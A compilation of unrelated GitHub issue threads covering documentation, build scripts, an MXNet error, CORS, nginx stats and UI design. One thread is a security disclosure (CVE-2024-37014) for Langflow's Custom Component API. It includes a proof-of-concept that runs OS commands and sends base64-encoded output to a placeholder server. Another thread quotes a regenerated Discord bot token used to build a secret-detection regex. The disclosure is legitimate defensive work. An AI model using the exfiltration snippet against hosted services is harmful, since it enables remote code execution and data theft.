I'm closing this issue -- knowing about the docs-src branch will be useful for potential future contributers. Thanks for that!

Just curious if you've stumbled into the tests/ folder?

No, I didn't know about that. Thanks for pointing it out.
When I'm trying to figure something about a new framework, I generally:

Google and find articles/guides describing how to use it
Cross-reference any APIs mentioned against the API guide to make sure the information was current
Implement it and make sure it works
Look for working examples/templates/samples
Look at source

I think it's better to have guides and examples. But it's still useful to know where to find the tests.

The tests most people consider example-like, but I get what you mean :)
I've posted extensively on how I work through stuff regarding documentation on the dev logs. It's quite simple in that I don't spend time documenting things I know are changing because it's time I could spend instead finishing the code, which without the code, there is nothing (and nothing to document).
I totally understand that good documentation is a must - as you can tell I value this - it's just a side effect of the timing. The alpha label is quite intentional, and I appreciate your desire for the documentation to be better, and especially to help, but I am in the middle of finalizing the engine design for v1.0 so I am concentrating my thoughts there at the moment.
I do personally really think documenting things in their transient state leaves more incorrect/slightly wrong/outdated documents strewn around the internet, with a trail of less helpful and hard to undo mess. It also forms some incorrect assumptions about the engine state, implying it's more done than it is, which also over time starts to formalize "how things work" which becomes harder to change without negative feelings (this is most relevant during alpha). To me all the down sides are just much worse than the immediate term benefit of reading a website instead of the code, or an example, or to ask the community or me :)
But - I do hear you and think it's very important. So is when, though!


Update infos, fix formatting, fix typos

Update link to sshuttle
Inform about nail files (mine got "taken into custody")
Fix formatting
Fix typos

Have fun :)

Thanks a bunch!


Create .less > CSS functionality for the library

All .less files are now converting into .css files, stored in the same place as the .less source file.
A few .less files were updated slightly to successfully convert.
closes #142

FYI I did not change the build process, although it could probably be updated into the split build commands if we still want.

 review Vade's update to DLx styles library

Thanks for the great work on this @vadekh! Everything was perfect. I also updated the npm scripts / build process, and made a refactor to clearDocs.js that you can check out.


[Feature] Support to open web pages in the browser that comes with the phone

Support to open web pages in the browser that comes with the phone.

And what browser used on default?

firefox

This situation is sometimes when a webpage needs to be opened and the URL needs to be saved, but the URL cannot be seen, so it is difficult to save the URL.

W not use share option?


Identify Discord tokens

added regex for Discord tokens (fixes #93)
changed plural_name value for Placekey to False

Doesn't match tokens that start with O. Discord bot tokens can start with an O when the ID starts with an eight or nine (start of a token being the bots ID in base64).

Doesn't match tokens that start with O. Discord bot tokens can start with an O when the ID starts with an eight or nine (start of a token being the bots ID in base64).

I have only found examples starting with N or M. Do you have a link to one that starts with O and are you aware of any other letters?

Doesn't match tokens that start with O. Discord bot tokens can start with an O when the ID starts with an eight or nine (start of a token being the bots ID in base64).

I have only found examples starting with N or M. Do you have a link to one that starts with O and are you aware of any other letters?

The token of a bot I made recently: ODYyOTUyOTE3NTg4NjM5NzY1.YOf1iA.7lARgFXmodxpgmPvOXapaKUga6M (regenerated)
New Discord snowflake IDs have started starting with 8.
ODYyOTUyOTE3NTg4NjM5NzY1 is the bots ID in base64, so<PHONE_NUMBER>88639765.
I'm don't know of any other letters.

Thank you very much for noticing this! I will add O to the regex and test it with the token you provided. :)


Add collaborators to this repo

Comment below to be added as a collaborator
We will all be using this repository today. Even though it's public right now, you will not be able to make changes until you're given the correct permissions. We've automated this process via the GitHub API. Once you comment, we will add you as a collaborator.
You'll start to receive a lot of emails. (❗) You can slow these down immediately by clicking the Unwatch button at the top of the page and selecting either the Participating and @mentions or Ignore option.

Hi

hi

Hello

Goede morgen

Hi

Hi

Hi

Hi

Hi

Hi

hi

Hi


⚙Tech Debt: Will this amazing library get support for Svelte 5?

Will the library receive it? I don't know if with the change from Svelte 4 to Svelte 5, the library will continue to work normally.
I am interested in creating a component library using Melt UI and Svelte 5, but I don't know if it's safe due to this version change

It will! Check out https://github.com/melt-ui/runes-experiment


Error in continuing training a model loaded from file

I'm trying to load a model previously saved in files following the tutorial here. I use exactly the same command as shown in the tutorial, but I meet with the following error message:
Error Message:
Traceback (most recent call last):
  File "test.py", line 153, in <module>
    num_epoch=num_epoch)
  File "/home/mypath/software/try_mxnet2/mxnet/python/mxnet/module/base_module.py", line 496, in fit
    self.update_metric(eval_metric, data_batch.label)
  File "/home/mypath/software/try_mxnet2/mxnet/python/mxnet/module/module.py", line 735, in update_metric
    self._exec_group.update_metric(eval_metric, labels)
  File "/home/mypath/software/try_mxnet2/mxnet/python/mxnet/module/executor_group.py", line 567, in update_metric
    for label, axis in zip(labels, self.label_layouts):
TypeError: zip argument #2 must support iteration

The code of loading and retraining the files is as follows:
Minimum reproducible example
sym, arg_params, aux_params = mx.model.load_checkpoint('../model/test_mymodel', 25)
lenet_model = mx.mod.Module(symbol=sym, context=mx.gpu(), label_names=None)

lenet_model.bind(for_training=True, data_shapes=[('data', (batch_size,3,16,16))],
         label_shapes=lenet_model._label_shapes)
lenet_model.set_params(arg_params, aux_params, allow_missing=True)
lenet_model.fit(train_iter,
				optimizer='adam',
				optimizer_params={'learning_rate':0.001,'wd':0.0005},
				eval_metric='acc',
				batch_end_callback = mx.callback.Speedometer(batch_size, n_report),
				epoch_end_callback  = mx.callback.do_checkpoint("../model/test_mymodel", 5),
				num_epoch=num_epoch)

As I have tested, when I comment out the line lenet_model.fit(...), no error is reported. It seems the loaded model cannot be trained continuously, or there is something wrong with my code.
I'm looking forward to kind solutions. Thanks!
The basic information of my system is as follows:
Environment info
Operating System:
CentOS 6.6
Compiler:
gcc 5.4.0
Package used (Python/R/Scala/Julia):
Python
MXNet version:
0.11.0
Python version and distribution:
Anaconda 2.7.13

It seems that, the label used in metric has a different shape with 'lenet_model._label_shapes' used in bind.
You can try to make these to shapes consistent.

@apache/mxnet-committers: This issue has been inactive for the past 90 days. It has no label and needs triage.
For general "how-to" questions, our user forum (and Chinese version) is a good place to get help.

Closing since requester hasn't responded.


Add helix conf in readme

Could you include a note about which Helix version this config works for? During some testing a while ago, I found that the main branch changed the LSP config syntax from the latest release, and I'd rather not cause confusion when that change is released/remember to update it.


hardcoded * as Access-Control-Allow-Origin value

Some implementations of CORS doesn't allow "" as a value for Access-Control-Allow-Origin header.
Currently this  value is hardcoded in line 1223 of server.go
Parameter --api-enable-cors  could be a string, instead of bool, allowing to pass an arbitrary value to "Access-Control-Allow-Origin" header falling back to "" as default.

@alfonsodev I'd like to fix this. BTW, I suggest to keep "*" as default, as most of the users don't want to set CORS.


Bug 60664 : Adding log level setting menu under Options menu.

Hi Woonsan,
Would it be possible to add some screenshot ?
Thanks

Hi @pmouawad ,
I've just attached two screenshots as an example in https://bz.apache.org/bugzilla/show_bug.cgi?id=60664.
Thanks,
Woonsan


Improve the performance of PAULI_CHANNEL_2

Currently, PAULI_CHANNEL_2 is 10x slower than DEPOLARIZE2.
An idea to try is, if the operation is applied to enough targets, create an alias sampling table for the probability distribution over the non-identity part of the channel. Then use rare-error sampling to decide which qubits to apply the alias sampling to.

Not high priority enough to keep.


Suggestions to use it for Linux

Hi Mr. @johncuyle,
thanks for the API. Is there any way I can adapt it for linux? Do you have any suggestions regarding using this library in Ubuntu 14.04?
Best regards
Faisal

It can be adapted to Linux. The libraries it depends on, CPPREST (aka Casablanca) and boost both support Linux and there is little to no platform specific code in the library itself. There will probably be minor compile errors using gcc or Clang due to MSVC's idiosyncrasies, but nothing beyond minor syntax. I don't have any suggestions in particular for Ubuntu. If you make changes obvious (offers or the like) and want to send them back I'll try to incorporate them so that you don't have to redo them if I do an update (been planning to for a while but my day job intrudes.)
Get Outlook for iOS
	_____________________________

From: faisalbmc<EMAIL_ADDRESS>Sent: Wednesday, November 23, 2016 05:17
Subject: [johncuyle/huelib] Suggestions to use it for Linux (#2)
To: johncuyle/huelib<EMAIL_ADDRESS>Hi Mr. John Cuyle,
thanks for the API. Is there any way I can adapt it for linux? Do you have any suggestions regarding using this library in Ubuntu 14.04?
Best regards
Faisal
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.


feat(router): improve nginx status page

Replace the default status page with one that provides more details using the nginx-module-vts module.
By default /status returns html but is possible to get a json representation using the /status/format/json path

This is a screenshot from one of the nginx deis-router running the CI job.

@aledbf i could hug you right now. As part of my metrics spike I was actually parsing the nginx log stream to get these stats which is a terrible and brittle way to get that information. With this I can actually hit /status/format/json and get that information and it looks like more.
:+1:

Code LGTM.
And FWIW, @jchauncey has never given me a hug before.

code LGTM.


What is the error?

Hi!
I love your project, maybe I can help you.
You mentioned that there is an error but I don't have a cab to test it. Can you provide more info?

Hi, sorry for the late response. I've updated the files and it should now be good again. The error was that L and R were swapped but that caused some weird behavior as we also have a sense pin.


Can it only be used in AWS? I have other servers. If I deploy them

Can it only be used in AWS? I have other servers. If I deploy them, thank you very much

Yes, it can be deployed on AWS

It would be perfect if there were more detailed documentation，Thank you very much

I am looking forward to deploying at ubuntu，How should I deploy？

my SystemOS ubuntu 20 and Node.js is v10.19.0,The installation steps are as follows
Clone the app sources :
git clone https://github.com/thibaultyou/tradingview-alerts-processor.git
Install app and configure the server :
cd tradingview-alerts-processor/
sh install.node.sh
You should see npm entry with online status, if this is not the case reconfigure PM2 and check again with :
pm2 start npm -- start
pm2 save
pm2 status npm
pm2 logs npm Error are as follows

I have used docker to install is OK
It is even better if there is a UI. View the logs received by the call through the UI


Use the PyTorch BatchNorm folding instead of a handwritten converter when possible

We currently use a handwritten converter for batch norm which fuses the operations into a single convolution. It would be easier to use the _jit_pass_fold_convbn pass in lowering instead where we can.

https://github.com/pytorch/pytorch/pull/34835


Minor documentation updates

Provides a bit more information about what's necessary to run Omnisharp, and how.
Should prevent situations like: Issue 1923.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: erick2red sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


[Potential Security Issue] Code Execution against underlying host system in Custom Component

Quick note
Langflow is a very interesting and useful framework for those who work with AI projects. Personally, it's a cool project to learn from. It seems the Custom Component feature was launched to support user-defined Python scripts that use the Langflow provided library. This is a great feature. However, upon reviewing its documentation in [1] and [2], it seems there is no mention of potential security issues. Hence, perhaps the following finding was likely not expected.
[1] https://docs.langflow.org/components/custom
[2] https://docs.langflow.org/guidelines/custom-component
Describe the bug
The Custom Component feature allows users to provide their own Python scripts using the CustomComponent class provided by the Langflow library. This is excellent for local testing and experimentation. However, if the framework is hosted online, it creates a potential security issue where a bad actor can leverage the opportunity to provide arbitrary Python code and gain code execution ability against the hosting server.
Impacted API
POST /api/v1/custom_component
Browser and Version

Browser: Tested on Chromium
Version: 125.0.6422.60 (Official Build) (arm64)

To Reproduce
Steps to reproduce the behavior:

Create a new project
Using CustomComponent, within Component class, provide the following Python function

import subprocess
import base64
    def execute_and_send():
        # Execute arbitrary system command
        result = subprocess.run(['uname', '-a'], capture_output=True, text=True)
        if result.stderr:
            print("Error:", result.stderr)
            return

        # Base64 encode the output
        encoded_output = base64.b64encode(result.stdout.encode()).decode()

        # Make a GET request with the base64 string as a query parameter
        url = f"https://your_server/?data={encoded_output}"
        response = requests.get(url)

    execute_and_send()

By clicking on Check & Save, the /api/v1/custom_component API is invoked to process the provided Python script, which then leads to OS command execution. The output will be Base64 encoded and sent to a malicious server.

Screenshots

Additional context
The vulnerability allows for arbitrary code execution by injecting malicious code through the Custom Component feature. This could lead to significant security risks, including data theft, unauthorized access, and potential disruption of services (especially when being hosted publicly)

Thank you for your prompt response and suggestion to address the security vulnerability by implementing input validation and sanitization. However, I'd like to clarify that the core issue lies in the context of the entire Langflow framework being hosted publicly, rather than the safety of individual published components.
The vulnerability arises because the framework allows users to create and execute their custom components on a publicly accessible server. In this scenario, the risk is that a malicious user can upload a custom component containing arbitrary and potentially harmful code, which gets executed on the server.
Taking the online playground provided by Langflow at https://huggingface.co/spaces/Langflow/Langflow as an example. With the same attack vector, I was able to execute the OS commands against the underlying docker container.
** Sample output **
Linux r-langflow-langflow-6hjjdvt7-50f38-0g46r 5.10.205-195.807.amzn2.x86_64 #1 SMP Tue Jan 16 18:28:59 UTC 2024 x86_64 GNU/Linux

total 88
drwxr-xr-x 1 user user    18 May 17 20:40 .
drwxr-xr-x 1 user user    62 May 25 12:46 ..
drwxr-xr-x 8 user user   178 Apr 12 11:49 .git
-rw-r--r-- 1 user user  1477 Apr 12 11:49 .gitattributes
-rw-r--r-- 1 user user 73828 Apr 12 11:51 =0.6.12
-rw-r--r-- 1 user user   556 Apr 12 11:49 Dockerfile
-rw-r--r-- 1 user user  1209 Apr 12 11:49 README.md
drwxr-xr-x 2 user user    26 May 17 20:40 logs

We also anticipated encountering similar issues when implementing Whisper in Langflow, specifically when converting voice file inputs to Base64 within the component.
As you mentioned, if a malicious user gains access to the Langflow exposed to clients, they could potentially include custom components with such backdoor code. (Similar to the Hugging Face scenario you mentioned)
Given the recent pull request history showing an image output component, it seems likely that an input component field will be added soon. It would be ideal if file input and output handling were restricted solely to the input component level, preventing users from directly writing these operations in custom components. (Alternatively, Langflow could include a mechanism to directly validate the Base64 format.)
Additionally, I recently heard that the LF core team is refactoring using Casbin for RBAC. Fundamentally, beyond debug/build modes, Casbin's introduction will likely result in account-based API call control. This aspect should be emphasized in the manual to caution users accordingly. (At the product level, the example scenario you mentioned should be used to highlight the importance of disabling the AUTO LOGIN flag.)
Similarly,
https://github.com/langflow-ai/langflow/pull/1747
I think the approach of calling exec-like code, in addition to embedding such backdoors in the flow, is also risky. What are your thoughts on this?

Thank you for your detailed response and for acknowledging the potential risks associated with the Custom Component feature. I appreciate the proactive measures you are considering, particularly the introduction of file input and output handling restrictions and the refactoring with Casbin for RBAC. Here are my thoughts on the points you raised:
File Input and Output Handling
Restricting file input and output operations to specific input components is a great step towards mitigating the risk of arbitrary code execution. By limiting these operations to controlled and validated components, you reduce the attack surface significantly. Incorporating mechanisms to directly validate the Base64 format at the component level is also a good way to ensure data integrity and security. However, Base64 output is just one of several ways for encoding. I do think it could be better if we have a mechanism to block outbound call by invoking this API.
Casbin for RBAC:
The refactoring to include Casbin for role-based access control (RBAC) is a positive move. Beyond debug/build modes, implementing account-based API call control will enhance security by ensuring that only authorized users can execute certain actions. Emphasizing this in the documentation, especially with a focus on disabling the AUTO LOGIN flag, will help users understand the importance of these security measures. Using real-world scenarios, such as the one mentioned, can effectively highlight potential risks and encourage best practices.
Exec-like Code Risks:
Allowing exec-like code in custom components poses significant security risks, as it provides a direct method for attackers to execute arbitrary commands. Even with input validation and sandboxing, the inherent risk of arbitrary code execution remains high. I recommend considering the following additional measures:

Script Execution Isolation: Use containerization (e.g., Docker) or sandboxing (e.g., Firejail) to isolate the execution environment of custom components, ensuring that any malicious code cannot impact the host system.
Code Auditing and Approval: Implement a code review and approval process for custom components. This can be automated to some extent, using static analysis tools to detect potentially harmful patterns before allowing execution. For example, discontinue support for invoking this API. Instead, it can be submitted for code review before it can be invoked by the REAL account owner.
Restricting Imports and Libraries: Limit the libraries and modules that can be imported in custom components. By providing a predefined list of safe libraries, you can prevent the use of potentially dangerous modules like subprocess or os.
Execution Time and Resource Limits: Set strict execution time and resource limits (e.g., memory, CPU usage) for custom components. This helps mitigate the risk of resource exhaustion attacks.

I appreciate the efforts being made to enhance Langflow's security and am available to provide further insights or assistance as needed.

@yamonkjd  I just added a commit publishing Security policy page. https://github.com/langflow-ai/langflow/pull/2000 This is to publish a CVE tracking number for this issue. Hope you can review and approve and publish an advisory for this.

lol, I am a contributor to Langflow, not a core member. I seem to have caused some confusion.
@ogabrielluiz
Hey, could you please review this request?

CVE-2024-37014 has been assigned by MITRE to track this security issue.

https://github.com/langflow-ai/langflow/issues/2908


Global Header design

Do it!!!

New HeaderDesign proposal.
see more versions on InVision:
https://zalando.invisionapp.com/d/#/projects/prototypes/10621613/screens

@myueksel I like it. Where is the language switch going? I suppose the grid item redirects you to some kind of dashboard? Or how is the flow to other applications?

Language switch should stay on top right... in the same line as the other icons. Actually not sure in which order but I'll create an example ASAP.
Other applications are supposed to reach via the first icon on top right (the square one).

Comment: It's sooooooo bluuuuueeeee
Idea: Have a color for each application to immediately know where you as a user are.

of course, we'll discuss your proposal... therefore I've created some examples.
Here  the link to InVision: https://zalando.invisionapp.com/d/main#/projects/prototypes/10621613/screens
screenshoots:

I personally like the once with the accent colors only more the the bulky full colored once.

I have to admit I like it when the every application gets it's own header color (not white + accent), e.g. it reminds me of Outlook :)

Latest proposal 2rem hight header. Color is not defined yet

Loooks pretty nice but in my eyes it could be even higher. Lets see how it looks when it was implemented :)

+1 for higher. It looks a little lost and the icons look squashed. But no veto. In general nice.

Updated menu/header and added specification...
Invision:
https://zalando.invisionapp.com/d/main/#/projects/prototypes/10621613
Vertical menu:

Horizontal menu:

@myueksel Please update the color scheme documentation to include accessibility concerns.

@AdrianDampc Please make a proposal for a generic interaction with the user icon in the top left.

@fragsalat Ping! This is now reviewed, please come to Mehmet with any questions. Thanks!

@myueksel @schluchter You saw the latest header already. I think this is done correct?

@fragsalat Is the header in the PO Prototype the "reference implementation"? Then we can check it out.

In the prototype are not the ux fixes inside.

Now you can checkout the latest po-prototype master branch and run npm i on the cli.
This will install the latest components.

@fragsalat @schluchter @myueksel I think this one is done, right ?

Yes